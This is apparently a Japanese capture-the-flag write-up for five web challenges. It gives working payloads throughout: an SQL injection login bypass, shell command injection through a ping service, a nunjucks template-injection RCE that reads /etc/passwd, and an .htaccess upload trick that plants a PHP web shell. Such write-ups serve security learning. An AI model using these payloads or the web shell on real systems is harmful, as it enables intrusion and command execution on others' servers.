[web] Be Alert
サイトにアクセスすると、アンドロイドがお出迎えしてくれる。
ソースを見ると<!--Something appears in /flag.html-->
とあう。
GET /flag.html
に行くとパスワードが必要と言われる。
ソースコードを見るとjavascriptでパスワードの判定っぽいものがあるので、それを参考に以下のようにパスワードを復元する。
let word = "rg`jsh`clhm"; let password = ""; for (let i=0; i<word.length;i++) { password += String.fromCharCode(word.charCodeAt(i) + 1); } console.log(password);
パスワードが出てくるので入力するとフラグが手に入る。
[web] L0g1n F4il3d
'をパスワードに入れてみるとエラーになる。
SQL Injectionを試せばよさそう。
いろいろやって' or 1=1 --
を入れるとフラグが出てくる。
[web] ping-pong
pingコマンドが使えるサービス。
コマンドインジェクション感がすごいので、色々試す。
アドレスをgoogle.com | sleep 3
とすると3秒ほどスリープがかかる。
google.com | id
でidコマンドが動く。
OK。
./flag.txtがあるが普通にcatしても何故かうまくいかない。
base64コマンドを使ってみると動いた。
google.com | base64 flag.txt
をして出力をbase64デコードするとフラグが手に入る。
[web] Hey h3ck3r!
適当にpayloadを試すと{{7*7}}
で49になる。
X-Powered-By: Express
とあり、いろいろ試すとエラーからテンプレートエンジンがnunjucksであるとわかる。
適当にpayloadを探すと、以下でRCEできることがわかる。
https://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
ls
するとflagというファイルが見えるので、cat flag
とするとフラグが手に入る。
[web] S4F3 UPL04D
.htaccessのアップロードが可能なので、ブラックリスト入りされている拡張子以外のものでphpが使えるようにしてphpを動かす。
まず、.htaccess
というファイル名で
AddType application/x-httpd-php .png
を用意してアップロードする。次にa.png
というファイル名で
<?php passthru($_GET["c"]);
を用意してアップロードする。
/uploads/a.png?c=id
をするとidコマンドが実行できていることが確認できる。
色々探索するとcat /flag
でフラグが見つかる。